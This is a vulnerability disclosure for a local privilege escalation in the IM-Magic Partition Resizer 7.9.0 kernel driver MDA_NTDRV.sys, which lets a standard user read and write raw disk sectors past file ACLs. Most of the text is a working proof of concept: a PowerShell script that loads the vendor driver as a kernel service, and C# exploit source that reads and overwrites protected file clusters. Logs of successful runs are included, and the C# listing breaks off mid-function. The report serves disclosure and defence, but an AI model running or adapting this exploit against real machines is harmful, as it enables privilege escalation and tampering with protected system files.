IM-Magic Partition Resizer 7.9.0 Kernel Driver MDA_NTDRV.sys Local Privilege Escalation

CVE-2026-12784 Summary

IM-Magic Partition Resizer Free Portable includes `MDA_NTDRV.sys`, a raw disk forwarding driver that exposes `\\.\MDA_NTDRV\<disk>`. A standard local user can open this device and perform raw reads and writes against a caller-selected physical disk number.

In the validation below, the standard user could not directly read or write an administrator-only flag file and could not directly open the underlying raw disk. The same user then read the flag's NTFS data clusters through `\\.\MDA_NTDRV\1`, and also overwrote those clusters through the driver. Administrator readback confirmed that the protected flag file content changed to the attacker's marker.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: IM-Magic Partition Resizer Free Portable
- Product version documented by vendor package: `7.9.0`
- Driver: `MDA_NTDRV.sys`
- Driver package location: `drivers\win7\amd64\MDA_NTDRV.sys` inside the x64 `core.dll` archive
- Driver SHA-256: `6DED9FFF47488D7B335DD3C9BBBD838C60FF1AFE28CCB8BB329D021592FFE9F3`
- Driver signature: `Valid`, signer `Chongqing NIUBI Technology Co., Ltd.`

Download URL and SHA-256

- Download URL: `https://download.resize-c.com/resizer-free-portable.zip`
- File name: `resizer-free-portable.zip`
- Portable ZIP SHA-256: `B91F22DD8073EA92A889FEA236D3A11B006D217F7CE68B528D65B90751A3AF40`
- x64 `core.dll` SHA-256: `2666C159911CFCB959F983FF6B60D1C59B3BE3EDFFA813FB19F50633746569D0`

Vulnerability Type

Local raw disk read/write access-control bypass resulting in protected file disclosure and protected file tampering.

Impact

A standard local user can bypass Windows file ACLs by reading and writing protected file data at the raw disk layer through the vendor driver. In the proof, the protected file granted access only to `SYSTEM` and `Administrators`, but the standard user recovered its marker and then replaced its on-disk content through `MDA_NTDRV.sys`.

This primitive is LPE-grade in realistic attack chains because raw disk writes can tamper with privileged on-disk state, service binaries, registry hives, or other protected files when combined with filesystem-aware offset calculation and cache-safe write handling. This report demonstrates the impact only on a temporary VHD and a self-created protected flag file.

Test Environment

- Host: `EXPDEV`
- OS: Microsoft Windows 11 Pro, version `10.0.26200`, 64-bit
- PowerShell: `5.1.26100.8115`
- Administrator context used for setup and cleanup
- Standard test user context used for exploitation: `expdev\low`
- Standard test user integrity level: Medium
- Test disk: temporary fixed VHD, 96 MB
- Protected test object: `R:\protected\admin_only_flag.bin`

Driver Load / Setup Steps

The validation used the official portable ZIP and a controlled temporary VHD:

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -UseEnvPassword
-AttemptWrite
```

The script performs the following setup:

1. Downloads `resizer-free-portable.zip` from the official IM-Magic URL if it is not already present.
2. Extracts the portable ZIP with 7-Zip.
3. Extracts the x64 `core.dll` file as a ZIP archive.
4. Loads `drivers\win7\amd64\MDA_NTDRV.sys` with a temporary `MDANTDRVRepro` kernel service.
5. Creates a temporary 96 MB VHD, assigns it as disk `1`, formats it as NTFS, and creates an administrator-only flag file.
6. Resolves the flag file's first NTFS data run to disk offset `5865472`, length `20480`.
7. Runs a single low-privilege exploit executable that prints baseline failures and the driver read result.
8. Dismounts the volume and runs the same low-privilege executable in write mode against the temporary VHD only.
9. Remounts the VHD and verifies as Administrator that the protected flag file now contains the low-user write marker.
10. Dismounts the VHD, stops and deletes the temporary driver service, and removes temporary test directories.

Reproduction Steps

Run from an elevated PowerShell prompt:

```
$env:VENDOR_REPRO_LOW_PASSWORD = '<standard-user-password>'
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -UseEnvPassword
-AttemptWrite
Remove-Item Env:\VENDOR_REPRO_LOW_PASSWORD
```

Alternatively omit `-UseEnvPassword` and the script will prompt for the standard user's credential:

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -AttemptWrite
```

What The Script Does

1. Downloads the official portable package from `https://download.resize-c.com/resizer-free-portable.zip` if needed.
2. Compiles the low-privilege C# exploit.
3. Extracts the portable ZIP with the repo's 7-Zip helper.
4. Extracts the x64 `core.dll` as a ZIP archive.
5. Loads `drivers\win7\amd64\MDA_NTDRV.sys` with a temporary `MDANTDRVRepro` kernel service.

6. Creates and formats a temporary 96 MB VHD.
7. Creates `R:\protected\admin_only_flag.bin` with a unique marker and an ACL granting access only to `SYSTEM` and `Administrators`.
8. Resolves the flag's first NTFS data run and computes its absolute disk offset.
9. Runs the exploit as the standard user. The exploit performs baseline checks and then reads the flag data through `\\.\MDA_NTDRV\<disk>`.
10. Dismounts the volume and runs the exploit as the standard user in write mode against the same raw disk offset.
11. Remounts the VHD and verifies as Administrator that the protected file now contains the write marker.
12. Dismounts the temporary VHD, stops and deletes the temporary driver service, removes test directories, and keeps the evidence directory.

Expected Successful Output

Read phase:

```
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the
path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the
path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[RESULT] read_marker_found=True
```

Write phase:

```
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[EXPLOIT_WRITE] success=True device=MDA_NTDRV disk=1 offset=5865472 bytes=20480
[RESULT] write_succeeded=True
```

The admin verification file should contain `"marker_found": true`.

Baseline Evidence

The protected file ACL allowed only `SYSTEM` and `Administrators`:

```
R:\protected\admin_only_flag.bin NT AUTHORITY\SYSTEM:(F)
                                 BUILTIN\Administrators:(F)

Successfully processed 1 files; Failed processing 0 files
```

The low-privilege process identified itself as a standard, Medium Integrity user:

```
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
```

Direct access failed without the driver:

```
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the
path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the
path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
```

Exploit Evidence

The standard-user read phase opened the IM-Magic device and recovered the protected flag marker:

```
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[EXPLOIT_READ] success=True device=MDA_NTDRV disk=1 offset=5865472 requested_bytes=20480
driver_reported_bytes=20480
out=C:\ProgramData\VendorRepro\immagic_mda_ntdrv_evidence\exploit_read_clusters.bin
[EXPLOIT_READ] prefix=IMMAGIC-MDA-PROTECTED-FLAG-a259e757-c8b7-4d3b-974a-
44cabd6fe619AAAA
```

```
[EXPLOIT_WRITE] marker=IMMAGIC-MDA-WRITE-FLAG-3914f0f7-41d1-4e36-8a0c-a040f0852613
[RESULT] write_succeeded=True
```

Administrator readback after remount confirmed that the protected file was modified:


```
"marker_found": true
"prefix": "IMMAGIC-MDA-WRITE-FLAG-3914f0f7-41d1-4e36-8a0c-
a040f0852613BBBB
```

POC

repo_one_click.ps1

```
[CmdletBinding()]
param(
    [string]$RepoRoot,
    [string]$LowUser = 'EXPDEV\low',
    [System.Management.Automation.PSCredential]$LowCredential,
    [switch]$UseEnvPassword,
    [switch]$AttemptWrite,
    [switch]$SkipCleanup
)

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

function Assert-Admin {
    $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = [Security.Principal.WindowsPrincipal]::new($identity)
    if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        throw 'Run from an elevated PowerShell session.'
    }
}

function Get-LowCredential {
    if ($LowCredential) { return $LowCredential }
    if ($UseEnvPassword) {
        $plain = [Environment]::GetEnvironmentVariable('VENDOR_REPRO_LOW_PASSWORD')
        if ([string]::IsNullOrWhiteSpace($plain)) { throw 'VENDOR_REPRO_LOW_PASSWORD is not
set.' }
        return [System.Management.Automation.PSCredential]::new($LowUser, (ConvertTo-
SecureString $plain -AsPlainText -Force))
    }
    return Get-Credential -UserName $LowUser -Message 'Credential for the standard test user'
}

function Download-PortableZip([string]$OutPath) {
    if (Test-Path $OutPath) { return }
```

```
    New-Item -ItemType Directory -Force -Path (Split-Path $OutPath -Parent) | Out-Null
    Invoke-WebRequest -Uri 'https://download.resize-c.com/resizer-free-portable.zip' -OutFile
$OutPath -UseBasicParsing -TimeoutSec 240 -Headers @{ 'User-Agent'='Mozilla/5.0' }
}

function Compile-Exploit([string]$SourcePath, [string]$ExePath) {
    $csc = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
    if (!(Test-Path $csc)) { throw "C# compiler not found: $csc" }
    New-Item -ItemType Directory -Force -Path (Split-Path $ExePath -Parent) | Out-Null
    & $csc /nologo /optimize+ /platform:x64 /target:exe "/out:$ExePath" $SourcePath
    if ($LASTEXITCODE -ne 0) { throw 'Exploit compilation failed.' }
}

function Run-Low {
    param(
        [string]$Name,
        [string]$FilePath,
        [string[]]$ArgumentList,
        [string]$Stdout,
        [string]$Stderr,
        [System.Management.Automation.PSCredential]$Credential,
        [string]$StatusPath,
        [switch]$AllowFailure
    )
    $p = Start-Process -FilePath $FilePath -ArgumentList $ArgumentList -Credential $Credential
-LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $Stdout -
RedirectStandardError $Stderr
    "$Name exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
    if ($p.ExitCode -ne 0 -and -not $AllowFailure) { throw "$Name failed with exit code
$($p.ExitCode)." }
    return $p.ExitCode
}

function Extract-Driver([string]$ZipPath, [string]$ExtractRoot, [string]$RepoRoot,
[string]$EvidenceDir) {
    $sevenZip = Join-Path $RepoRoot 'dev\tools\7zip-portable\7z.exe'
    if (!(Test-Path $sevenZip)) { throw "7-Zip helper not found: $sevenZip" }
    Remove-Item -LiteralPath $ExtractRoot -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $ExtractRoot | Out-Null
    $outer = Join-Path $ExtractRoot 'portable'
```

```
    $coreOut = Join-Path $ExtractRoot 'core_x64'
    New-Item -ItemType Directory -Force -Path $outer, $coreOut | Out-Null
    (& $sevenZip x $ZipPath "-o$outer" -y) | Out-File -LiteralPath (Join-Path $EvidenceDir
'extract_portable_zip.txt') -Encoding ascii
    $core = Get-ChildItem -Path $outer -Recurse -File -Filter 'core.dll' | Where-Object {
$_.FullName -match '\\x64\\core\.dll$' } | Select-Object -First 1
    if (-not $core) { throw 'x64 core.dll was not found in the portable package.' }
    (& $sevenZip x $core.FullName "-o$coreOut" -y) | Out-File -LiteralPath (Join-Path
$EvidenceDir 'extract_core_dll.txt') -Encoding ascii
    $driver = Join-Path $coreOut 'drivers\win7\amd64\MDA_NTDRV.sys'
    if (!(Test-Path $driver)) { throw 'drivers\win7\amd64\MDA_NTDRV.sys was not found inside
x64 core.dll.' }
    [pscustomobject]@{
        core_path = $core.FullName
        core_sha256 = (Get-FileHash $core.FullName -Algorithm SHA256).Hash
        driver_path = $driver
    } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir
'extraction_metadata.json') -Encoding ascii
    return Get-Item $driver
}

function Ensure-DriverLoaded([string]$DriverPath, [string]$EvidenceDir) {
    $log = Join-Path $EvidenceDir 'driver_service_load.txt'
    "Driver path: $DriverPath" | Set-Content -LiteralPath $log -Encoding ascii
    (& sc.exe stop MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe delete MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe create MDANTDRVRepro type= kernel start= demand binPath= $DriverPath 2>&1) |
Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe start MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe query MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe qc MDANTDRVRepro 2>&1) | Out-File -LiteralPath (Join-Path $EvidenceDir
'driver_service_config.txt') -Encoding ascii
}

function Create-Vhd([string]$WorkRoot, [string]$EvidenceDir) {
    $vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
    $script = Join-Path $WorkRoot 'create_vhd.diskpart'
    @"
create vdisk file="$vhd" maximum=96 type=fixed
select vdisk file="$vhd"
```

```
attach vdisk
create partition primary
"@ | Set-Content -LiteralPath $script -Encoding ascii
    (& diskpart.exe /s $script) | Out-File -LiteralPath (Join-Path $EvidenceDir
'diskpart_create.txt') -Encoding ascii
    $disk = Get-DiskImage -ImagePath $vhd | Get-Disk
    $partition = Get-Partition -DiskNumber $disk.Number | Where-Object { $_.Type -ne
'Reserved' } | Select-Object -First 1
    $partition | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir
'partition_before_format.txt') -Encoding ascii
    $partition | Set-Partition -NewDriveLetter R
    Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel MDAREPRO -Confirm:$false
-Force | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'format_volume.txt') -
Encoding ascii
    return $disk.Number
}

function New-ProtectedFlag([uint32]$DiskNumber, [string]$WorkRoot, [string]$EvidenceDir) {
    New-Item -ItemType Directory -Force -Path 'R:\protected' | Out-Null
    $marker = 'IMMAGIC-MDA-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
    $bytes = New-Object byte[] 20480
    $markerBytes = [Text.Encoding]::ASCII.GetBytes($marker)
    [Array]::Copy($markerBytes, 0, $bytes, 0, $markerBytes.Length)
    for ($i = $markerBytes.Length; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x41 }
    $flag = 'R:\protected\admin_only_flag.bin'
    [IO.File]::WriteAllBytes($flag, $bytes)
    (& icacls.exe $flag /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F') | Out-File -
LiteralPath (Join-Path $EvidenceDir 'flag_acl_set.txt') -Encoding ascii
    (& icacls.exe $flag) | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl.txt') -
Encoding ascii
    $ntfs = (fsutil fsinfo ntfsinfo R:) 2>&1
    $extents = (fsutil file queryextents $flag) 2>&1
    $ntfs | Out-File -LiteralPath (Join-Path $EvidenceDir 'ntfs_info.txt') -Encoding ascii
    $extents | Out-File -LiteralPath (Join-Path $EvidenceDir 'file_extents.txt') -Encoding
ascii
    [uint64]$bytesPerCluster = 0
    foreach ($line in $ntfs) { if ($line -match 'Bytes Per Cluster\s*:\s*(\d+)') {
$bytesPerCluster = [uint64]$Matches[1] } }
    $lcn = $null; $clusters = $null
    foreach ($line in $extents) {
```

```
        if ($line -match 'VCN:\s*0x[0-9a-fA-F]+\s+Clusters:\s*0x([0-9a-fA-F]+)\s+LCN:\s*0x([0-9a-fA-F]+)') {
            $clusters = [Convert]::ToUInt64($Matches[1], 16)
            $lcn = [Convert]::ToUInt64($Matches[2], 16)
            break
        }
    }
    if ($bytesPerCluster -eq 0 -or $null -eq $lcn) { throw 'Could not parse NTFS data run.' }
    $partition = Get-Partition -DriveLetter R
    [uint64]$diskOffset = [uint64]$partition.Offset + ($lcn * $bytesPerCluster)
    [uint64]$runLength = $clusters * $bytesPerCluster
    $meta = [pscustomobject]@{
        marker = $marker
        vhd_path = (Join-Path $WorkRoot 'controlled_disk.vhd')
        disk_number = $DiskNumber
        drive_letter = 'R'
        partition_offset = [uint64]$partition.Offset
        bytes_per_cluster = $bytesPerCluster
        first_lcn = $lcn
        first_run_clusters = $clusters
        disk_offset = $diskOffset
        run_length = $runLength
        protected_file = $flag
    }
    $meta | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'test_object_metadata.json') -Encoding ascii
    return $meta
}

function Cleanup-Repro([string]$WorkRoot, [string]$ExtractRoot, [string]$EvidenceDir) {
    $cleanup = Join-Path $EvidenceDir 'cleanup_log.txt'
    "Cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $cleanup -Encoding ascii
    try {
        $vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
        if (Test-Path $vhd) { Dismount-DiskImage -ImagePath $vhd -ErrorAction SilentlyContinue | Out-File -LiteralPath $cleanup -Append -Encoding ascii }
        (& sc.exe stop MDANTDRVRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
        (& sc.exe delete MDANTDRVRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -
```

```
Encoding ascii
        Remove-Item -LiteralPath $WorkRoot, $ExtractRoot -Recurse -Force -ErrorAction
SilentlyContinue
    } finally {
        "WorkRoot exists after cleanup: $(Test-Path $WorkRoot)" | Add-Content -LiteralPath
$cleanup -Encoding ascii
        "ExtractRoot exists after cleanup: $(Test-Path $ExtractRoot)" | Add-Content -
LiteralPath $cleanup -Encoding ascii
        "MDANTDRVRepro service query after cleanup:" | Add-Content -LiteralPath $cleanup -
Encoding ascii
        (& sc.exe query MDANTDRVRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding
ascii
    }
}

Assert-Admin
$credential = Get-LowCredential
$packageDir = $PSScriptRoot
if ([string]::IsNullOrWhiteSpace($RepoRoot)) { $RepoRoot = (Resolve-Path (Join-Path
$packageDir '..\..\..')).Path }

$workRoot = 'C:\ProgramData\VendorRepro\immagic_mda_ntdrv'
$extractRoot = 'C:\ProgramData\VendorRepro\immagic_mda_ntdrv_extract'
$evidenceTemp = 'C:\ProgramData\VendorRepro\immagic_mda_ntdrv_evidence'
$finalEvidence = Join-Path $packageDir 'evidence'
$portableZip = Join-Path $RepoRoot 'dev\downloads\im_magic_resizer\resizer-free-portable.zip'
$exploitSource = Join-Path $RepoRoot 'dev\poc\raw_disk_forwarder_flag_rw_exploit.cs'
$exploitExe = Join-Path $RepoRoot 'dev\poc\bin\raw_disk_forwarder_flag_rw_exploit.exe'

Remove-Item -LiteralPath $evidenceTemp -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $workRoot, $evidenceTemp | Out-Null
(& icacls.exe $workRoot /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path
$evidenceTemp 'runtime_acl_setup.txt') -Encoding ascii
(& icacls.exe $evidenceTemp /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-
Path $evidenceTemp 'evidence_acl_setup.txt') -Encoding ascii

try {
    Download-PortableZip $portableZip
    Compile-Exploit $exploitSource $exploitExe
    $driver = Extract-Driver -ZipPath $portableZip -ExtractRoot $extractRoot -RepoRoot
```

```
$RepoRoot -EvidenceDir $evidenceTemp
    Ensure-DriverLoaded -DriverPath $driver.FullName -EvidenceDir $evidenceTemp

    $diskNumber = Create-Vhd -WorkRoot $workRoot -EvidenceDir $evidenceTemp
    $meta = New-ProtectedFlag -DiskNumber ([uint32]$diskNumber) -WorkRoot $workRoot -
EvidenceDir $evidenceTemp
    $status = Join-Path $evidenceTemp 'low_run_status.txt'
    'IM-Magic MDA_NTDRV low-user EXP run status' | Set-Content -LiteralPath $status -Encoding
ascii
    $readOut = Join-Path $evidenceTemp 'exploit_read_clusters.bin'
    Run-Low -Name 'low_exp_read' -FilePath $exploitExe -Credential $credential -StatusPath
$status `
        -Stdout (Join-Path $evidenceTemp 'low_exp_read_stdout.txt') `
        -Stderr (Join-Path $evidenceTemp 'low_exp_read_stderr.txt') `
        -ArgumentList @('--device','MDA_NTDRV','--mode','read','--
disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--
length',[string]$meta.run_length,'--flag-path',$meta.protected_file,'--expect-
marker',$meta.marker,'--out',$readOut)

    $zipSig = Get-AuthenticodeSignature $portableZip
    $driverSig = Get-AuthenticodeSignature $driver.FullName
    $extractMeta = Get-Content -LiteralPath (Join-Path $evidenceTemp
'extraction_metadata.json') | ConvertFrom-Json
    [pscustomobject]@{
        product = 'IM-Magic Partition Resizer Free Portable'
        product_version = '7.9.0'
        download_url = 'https://download.resize-c.com/resizer-free-portable.zip'
        file_name = 'resizer-free-portable.zip'
        portable_zip_sha256 = (Get-FileHash $portableZip -Algorithm SHA256).Hash
        portable_zip_signature_status = $zipSig.Status.ToString()
        x64_core_sha256 = $extractMeta.core_sha256
        driver_name = 'MDA_NTDRV.sys'
        driver_path = $driver.FullName
        driver_sha256 = (Get-FileHash $driver.FullName -Algorithm SHA256).Hash
        driver_signature_status = $driverSig.Status.ToString()
        driver_signer_subject = $driverSig.SignerCertificate.Subject
        driver_load_method = 'Official portable ZIP extracted with 7-Zip; x64 core.dll
extracted as ZIP; drivers\win7\amd64\MDA_NTDRV.sys loaded with temporary MDANTDRVRepro kernel
service.'
        low_exploit = 'raw_disk_forwarder_flag_rw_exploit.exe'
```

```
        low_exploit_sha256 = (Get-FileHash $exploitExe -Algorithm SHA256).Hash
        device_path = '\\.\MDA_NTDRV\<disk>'
    } | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $evidenceTemp
'product_driver_metadata.json') -Encoding ascii

    if ($AttemptWrite) {
        try {
            $writeMarker = 'IMMAGIC-MDA-WRITE-FLAG-' + [guid]::NewGuid().ToString()
            [pscustomObject]@{ write_marker = $writeMarker; disk_number = $meta.disk_number;
disk_offset = $meta.disk_offset; run_length = $meta.run_length } | ConvertTo-Json | Set-
Content -LiteralPath (Join-Path $evidenceTemp 'write_marker_metadata.json') -Encoding ascii
            (& mountvol.exe R: /p) | Out-File -LiteralPath (Join-Path $evidenceTemp
'volume_dismount_before_write.txt') -Encoding ascii
            Start-Sleep -Seconds 2
            $writeExit = Run-Low -Name 'low_exp_write' -FilePath $exploitExe -Credential
$credential -StatusPath $status -AllowFailure `
                -Stdout (Join-Path $evidenceTemp 'low_exp_write_stdout.txt') `
                -Stderr (Join-Path $evidenceTemp 'low_exp_write_stderr.txt') `
                -ArgumentList @('--device','MDA_NTDRV','--mode','write','--
disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--
length',[string]$meta.run_length,'--write-marker',$writeMarker)

            Get-Partition -DiskNumber ([int]$meta.disk_number) | Where-Object { $_.Type -ne
'Reserved' } | Select-Object -First 1 | Set-Partition -NewDriveLetter R
            Start-Sleep -Seconds 2
            if ($writeExit -eq 0) {
                $afterBytes = [IO.File]::ReadAllBytes($meta.protected_file)
                $afterPrefix = [Text.Encoding]::ASCII.GetString($afterBytes, 0,
[Math]::Min(256, $afterBytes.Length))
                $found = $afterPrefix.Contains($writeMarker)
                [pscustomobject]@{ expected_write_marker = $writeMarker; marker_found =
$found; prefix = $afterPrefix } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path
$evidenceTemp 'admin_verify_after_write.json') -Encoding ascii
                if ($found) {
                    'Write phase succeeded and was verified by admin readback from the
protected test file.' | Set-Content -LiteralPath (Join-Path $evidenceTemp
'write_phase_status.txt') -Encoding ascii
                } else {
                    'Write phase returned success but admin verification did not find the
write marker; read impact remains verified.' | Set-Content -LiteralPath (Join-Path
```

```
$evidenceTemp 'write_phase_status.txt') -Encoding ascii
                }
            } else {
                "Write phase low-user process exited $writeExit; read impact remains
verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -
Encoding ascii
            }
        } catch {
            "Write phase failed non-fatally: $($_.Exception.Message). Read impact remains
verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -
Encoding ascii
        }
    } else {
        'Write phase skipped by default; read-only protected-file disclosure proof completed.'
| Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_skipped.txt') -Encoding ascii
    }

    if (-not $SkipCleanup) { Cleanup-Repro $workRoot $extractRoot $evidenceTemp }
    Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
    Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force
    Write-Host "Reproduction complete. Evidence copied to $finalEvidence"
} catch {
    "BLOCKED_OR_FAILED: $($_.Exception.Message)" | Set-Content -LiteralPath (Join-Path
$evidenceTemp 'blocked_or_failed.txt') -Encoding ascii
    if (-not $SkipCleanup) { Cleanup-Repro $workRoot $extractRoot $evidenceTemp }
    Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
    Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force -
ErrorAction SilentlyContinue
    throw
}
```

raw_disk_forwarder_flag_rw_exploit.cs

```
using System;
using System.IO;
using System.Runtime.InteropServices;
```

```
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;

internal static class RawDiskForwarderFlagRwExploit
{
    private const uint GENERIC_READ = 0x80000000;
    private const uint GENERIC_WRITE = 0x40000000;
    private const uint FILE_SHARE_READ = 0x00000001;
    private const uint FILE_SHARE_WRITE = 0x00000002;
    private const uint OPEN_EXISTING = 3;
    private const uint FILE_BEGIN = 0;
    private const int TOKEN_QUERY = 0x0008;
    private const int TokenIntegrityLevel = 25;

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern SafeFileHandle CreateFileW(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove,
IntPtr lpNewFilePointer, uint dwMoveMethod);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int
nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int
nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentProcess();
```

```
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CloseHandle(IntPtr hObject);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out
IntPtr tokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool GetTokenInformation(IntPtr tokenHandle, int
tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int
returnLength);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);

    private static int Main(string[] args)
    {
        try
        {
            Options opt = Options.Parse(args);
            if (opt == null)
            {
                Usage();
                return 2;
            }

            PrintIdentity();
            if (!string.IsNullOrEmpty(opt.FlagPath))
            {
                BaselineProtectedFile(opt.FlagPath);
            }
            BaselineRawDisk(opt.Disk);

            string devicePath = @"\\.\" + opt.Device + @"\" + opt.Disk;
            using (SafeFileHandle h = OpenForwarder(devicePath))
            {
                if (h.IsInvalid)
```

```
                {
                    Console.Error.WriteLine("[DRIVER] open=FAILED path={0} error={1}",
devicePath, Marshal.GetLastWin32Error());
                    return 1;
                }
                Console.WriteLine("[DRIVER] open=SUCCESS path={0}", devicePath);

                if (opt.Mode == "read")
                {
                    int reportedBytes;
                    byte[] data = RawRead(h, opt.OffsetBytes, checked((int)opt.LengthBytes),
out reportedBytes);
                    File.WriteAllBytes(opt.OutPath, data);
                    string prefix = AsciiPreview(data, 256);
                    bool found = !string.IsNullOrEmpty(opt.ExpectMarker) &&
Encoding.ASCII.GetString(data).Contains(opt.ExpectMarker);
                    Console.WriteLine("[EXPLOIT_READ] success=True device={0} disk={1}
offset={2} requested_bytes={3} driver_reported_bytes={4} out={5}", opt.Device, opt.Disk,
opt.OffsetBytes, data.Length, reportedBytes, opt.OutPath);
                    Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
                    if (!string.IsNullOrEmpty(opt.ExpectMarker))
                    {
                        Console.WriteLine("[RESULT] read_marker_found={0}", found);
                        return found ? 0 : 3;
                    }
                    return 0;
                }

                byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
                RawWrite(h, opt.OffsetBytes, payload);
                Console.WriteLine("[EXPLOIT_WRITE] success=True device={0} disk={1} offset={2}
bytes={3}", opt.Device, opt.Disk, opt.OffsetBytes, payload.Length);
                Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
                Console.WriteLine("[RESULT] write_succeeded=True");
                return 0;
            }
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
```

```
            return 1;
        }
    }

    private static SafeFileHandle OpenForwarder(string devicePath)
    {
        return CreateFileW(devicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
    }

    private static byte[] RawRead(SafeFileHandle h, ulong offset, int length, out int
reportedBytes)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " +
Marshal.GetLastWin32Error());
        }

        IntPtr buf = Marshal.AllocHGlobal(length);
        try
        {
            ZeroMemory(buf, length);
            if (!ReadFile(h, buf, length, out reportedBytes, IntPtr.Zero))
            {
